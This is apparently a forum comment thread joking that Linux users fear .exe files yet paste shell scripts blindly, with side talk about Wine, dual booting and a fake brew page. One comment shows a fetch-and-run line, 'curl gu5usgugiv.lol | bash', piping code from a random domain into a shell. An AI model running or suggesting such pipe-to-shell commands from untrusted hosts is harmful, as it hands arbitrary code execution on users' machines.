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The virgin bin vs the chad .exe
... and yet some of the same people will readily copy-paste random shell scripts into their terminal without fully understanding them.
What do they hope to do in a temporary qube VM?
curl gu5usgugiv.lol | bash || curl get.k3s.io | bash
Someone did something similar to this with a fake brew package manager page. They paid Google to put it on the front page.
Let me open up my Linux bible and see if its malicious
Raises hand I might be some people π₯Ί
There's some people in all of us
But a forum post said it would fix my issue.
I feel like there's some truth to this!
If the posted answer was in a moderately active thread, you can generally assume it's correct if there are no contradictory replies.
If the thread has been dead a few weeks, they could edit their post. Or if it pulls a objects, those objects could change.
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A friend of mine once downloaded something malicious to his Linux machine and wasn't worried about it. Then some time later, while browsing his files from a Windows machine, saw it and was like, "hey, what's this?" Oops.
He's a tech savvy guy, so I'm guessing the fact he had downloaded it himself really let his guard down.
That's another reason not to dual boot. Ditch Windows.
That's why you don't store your stool samples in the same fridge as your chocolate pudding. Malware goes into the vault.
It does if you right click it and run with wine or whatever it says
in mint cinnamon it still has no power, wine is not in the context menu or program list!
Wine automatically running:
This has given me a horrendous idea involving a Windows batch file and a weird shebang
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Modern viruses check the os before deciding which type of file to send your way.
Do you have any data to back up that claim? I don't think that's true at all, it would be very rare.
Do you have any data to back up that claim?
None whatsoever.
I donβt think thatβs true at all, it would be very rare.
Suspicious words. You have one, don't you? Don't worry, I won't tell.
Why suspicious? I have genuinely never read a news story about a virus sending different versions of itself to different OSs. I'm sure it happens, but it doesn't seem common at all, and you are claiming it very matter-of-factly so I am interested to know more.
If you haven't come across them yet, then i might be a pioneer! Dibs on the patent!
But your words confuse me. Either it's not true at all or it happens. You're sure they exist, though rare. As i said before, suspicious. You might just be one of those rare occurrences after all...
You wish to be the first acknowledged one, no? It's alright, you can have the honour. I'll keep mum about it for you.
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This is why you use a user agent switcher to lie about being windows. It's a form of anti malware!
Pick the least POSIX shell, or roll your own!
Rename all the coreutils. Confuse yourself and the hackers!
Download libc.so and receive free bitcoin.